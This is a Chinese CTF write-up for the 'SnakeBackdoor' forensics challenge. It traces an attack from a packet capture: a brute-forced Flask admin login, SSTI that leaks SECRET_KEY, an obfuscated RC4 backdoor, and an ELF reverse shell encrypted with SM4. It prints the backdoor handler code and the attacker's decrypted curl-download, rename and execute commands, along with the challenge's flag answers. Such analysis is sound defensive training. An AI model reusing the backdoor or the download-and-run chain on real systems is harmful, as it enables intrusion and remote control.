玄机靶场-第三届"长城杯"初赛-SnakeBackdoor WP
困难级别,6步,综合考察流量分析 + Flask SSTI漏洞利用 + RC4加密逆向 + ELF二进制逆向 + LD_PRELOAD Hook技术。整条攻击链从爆破后台到植入Python伪装木马,最后通过SM4加密反弹Shell拿到flag,链路清晰但每步都有一定深度。
1. 爆破后台密码
第一步要找攻击者爆破成功的那个密码。打开流量包,过滤 HTTP 流量,直接翻/admin/login的请求记录。爆破过程会产生大量 POST 请求,大部分返回 200 或 401,唯一那条返回302 跳转的就是密码正确的那次。
在 Wireshark 里用http.request.method == "POST" && http contains "/admin/login"过滤,倒着看找到最后一条 302,跟进 HTTP 流查看 POST 的 body:
username=admin&password=zxcvbnm123302 跳转说明登录成功,密码就是zxcvbnm123。
Flag 1:flag{zxcvbnm123}
2. 获取 Flask SECRET_KEY
攻击者登录后台后,利用了 Flask 应用的某个漏洞读取到了 SECRET_KEY。在流量包里直接搜索关键字SECRET_KEY,很快就能在 HTTP 响应体里找到:
SECRET_KEY = c6242af0-6891-4510-8432-e1cdf051f160这个 SECRET_KEY 是 Flask session 签名密钥,拿到之后攻击者可以伪造任意 session,进一步利用后台功能。漏洞点在/admin/preview接口,是一个 SSTI(服务端模板注入)漏洞,通过preview_content参数注入恶意模板表达式,读取了应用配置。
Flag 2:flag{c6242af0-6891-4510-8432-e1cdf051f160}
3. 分析注入 Payload 中的加密密钥
拿到 SECRET_KEY 后,攻击者继续利用/admin/preview的 SSTI 注入了一段 Python 木马 Payload。追踪下一条/admin/preview的 POST 流量,在preview_content参数里能看到一段混淆的 base64 代码:
importbase64;exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS...'))把exec改成print运行,得到第一层解码结果:
_=lambda__:__import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'=c4CU3xP+//vPzftv8gri635a0T1rQv...'))这是一个递归加密结构:base64 + zlib 反转多层嵌套。编写脚本递归解密所有层,最终得到木马的核心代码:
RC4_SECRET=b'v1p3r_5tr1k3_k3y'defrc4_crypt(data:bytes,key:bytes)->bytes:S=list(range(256))j=0foriinrange(256):j=(j+S[i]+key[i%len(key)])%256S[i],S[j]=S[j],S[i]i=j=0res=bytearray()forcharindata:i=(i+1)%256j=(j+S[i])%256S[i],S[j]=S[j],S[i]res.append(char^S[(S[i]+S[j])%256])returnbytes(res)defbackdoor_handler():ifrequest.headers.get('X-Token-Auth')!='3011aa21232beb7504432bfa90d32779':return"Error"enc_hex_cmd=request.form.get('data')...cmd=rc4_crypt(enc_cmd,RC4_SECRET).decode('utf-8')...木马使用 RC4 对称加密隐藏通信内容,密钥字符串硬编码为v1p3r_5tr1k3_k3y,并通过X-Token-Auth请求头做身份验证。
Flag 3:flag{v1p3r_5tr1k3_k3y}
4. 找到木马本体文件名
木马后门通过X-Token-Auth: 3011aa21232beb7504432bfa90d32779头部认证,在流量包里搜索这个 token 值,找到所有后门通信流量。
用上一步拿到的 RC4 密钥v1p3r_5tr1k3_k3y编写解密脚本,批量解密所有data字段的十六进制密文:
importbinascii RC4_SECRET=b'v1p3r_5tr1k3_k3y'defrc4_crypt(data:bytes,key:bytes)->bytes:S=list(range(256))j=0foriinrange(256):j=(j+S[i]+key[i%len(key)])%256S[i],S[j]=S[j],S[i]i=j=0res=bytearray()forcharindata:i=(i+1)%256j=(j+S[i])%256S[i],S[j]=S[j],S[i]res.append(char^S[(S[i]+S[j])%256])returnbytes(res)defdecrypt(enc_hex_cmd):enc_cmd=binascii.unhexlify(enc_hex_cmd)cmd=rc4_crypt(enc_cmd,RC4_SECRET).decode('utf-8',errors='ignore')print(cmd)解密后还原出攻击者执行的完整命令序列:
id uid=0(root) gid=0(root) groups=0(root) ls -al total 36 drwxr-xr-x 5 root root 4096 Dec 20 13:55 . ... -rw-r--r-- 1 root root 2284 Dec 20 13:55 app.py curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip Archive: /tmp/123.zip inflating: /tmp/shell mv /tmp/shell /tmp/python3.13 chmod +x /tmp/python3.13 /tmp/python3.13攻击者从 C2 下载了一个shell.zip(密码nf2jd092jd01),解压得到二进制文件shell,然后把它改名为python3.13伪装成 Python 解释器,再赋权执行。木马本体文件名就是python3.13。
Flag 4:flag{python3.13}
5. 逆向分析木马通信加密密钥
这一步需要对python3.13(即shell)这个 ELF 二进制文件进行逆向分析。
用 DIE(Detect It Easy)查壳,确认无壳,是标准 ELF 可执行文件。用 IDA Pro 分析主入口点:
- 程序建立 TCP 连接到 C2 地址
192.168.1.201:58782 - 连接成功后先接收 4 字节握手数据
- 然后调用
sub_18ED(recv 封装)读取 4 字节种子值 - 用这个种子调用
srand()初始化随机数生成器 - 连续调用 4 次
rand(),将返回的 4 个 32 位整数拼成 16 字节密钥数组v8 - 后续所有通信数据都用这个动态生成的密钥加密(SM4 算法)
关键逻辑:程序通过 Socket 接收到的是大端序字节流,在存入 seed 前需要进行字节序转换:
seed=(command_>>8)&0xFF00|(command_<<8)&0xFF0000|(command_<<24)|HIBYTE(command_);在 Wireshark 里用以下过滤规则找到种子数据包:
(ip.src == 192.168.1.201 && tcp.port == 58782) && tcp.len == 4第一条结果的内容就是种子:34952046(十六进制)。
编写 C 程序还原密钥(注意必须在 Linux/Kali 上编译,因为 Windows 和 Linux 的rand()实现不同):
#include<stdio.h>#include<stdlib.h>#defineHIBYTE(x)(((x)>>24)&0xFF)intmain(){unsignedintseed=0x34952046;srand(seed);for(inti=0;i<=3;i++){unsignedintr=rand();unsignedchar*ptr=(unsignedchar*)&r;for(intj=0;j<4;j++){printf("%02x",ptr[j]);}}return0;}在 Kali Linux 上编译运行,得到 16 字节密钥(hex):
ac46fb610b313b4f32fc642d8834b456Flag 5:flag{ac46fb610b313b4f32fc642d8834b456}
6. 获取服务器上的 flag
最后一步需要解密木马与 C2 之间的加密通信,还原攻击者在服务器上执行的命令和获取的 flag。
由于木马使用 SM4 加密且密钥是动态生成的,直接静态分析解密较为复杂。这里采用LD_PRELOAD Hook技术:通过劫持connect、rand、recv、popen、pclose、send等系统函数,让木马在本地"空跑",将流量包中的密文注入程序,由程序自己完成解密,再通过 hook 的popen打印出明文命令。
核心 Hook 逻辑:
connect:直接返回 0,绕过 C2 连接检查rand:返回预设密钥ac46fb610b313b4f32fc642d8834b456的各字节,确保密钥一致recv:按顺序注入从流量包中提取的密文长度和密文数据popen:拦截并打印解密后的明文命令,不实际执行pclose/send:返回正常值,防止程序因管道错误退出
从 Wireshark 追踪流 1827(ip.src == 192.168.1.201 && tcp.port == 58782且tcp.len == 4的第一条结果),提取所有密文长度和密文对,注入 Hook 代码后编译运行:
gcc-fPIC-shared-ohook.so hook.c-ldlLD_PRELOAD=./hook.so ./python3.13注意:出题人在流量包中将字符
1和l、0和O互换进行了混淆,需要手动还原后再注入。
程序解密输出的最终命令序列中包含服务器上的 flag:
flag{6894c9ec-719b-4605-82bf-4fe1de27738f}Flag 6:flag{6894c9ec-719b-4605-82bf-4fe1de27738f}
总结
这道题完整还原了一条从 Web 爆破到持久化驻留的攻击链:攻击者爆破 Flask 后台 → 利用 SSTI 漏洞注入多层混淆的 RC4 后门 → 通过后门下载并执行伪装成 Python 解释器的 ELF 木马 → 木马使用动态 PRNG 密钥 + SM4 加密建立反弹 Shell → 最终读取服务器 flag。
Flag 汇总:
| 步骤 | 内容 | Flag |
|---|---|---|
| 1 | 爆破成功的后台密码 | flag{zxcvbnm123} |
| 2 | Flask SECRET_KEY | flag{c6242af0-6891-4510-8432-e1cdf051f160} |
| 3 | RC4 加密密钥字符串 | flag{v1p3r_5tr1k3_k3y} |
| 4 | 木马本体文件名 | flag{python3.13} |
| 5 | SM4 通信加密密钥(hex) | flag{ac46fb610b313b4f32fc642d8834b456} |
| 6 | 服务器 flag | flag{6894c9ec-719b-4605-82bf-4fe1de27738f} |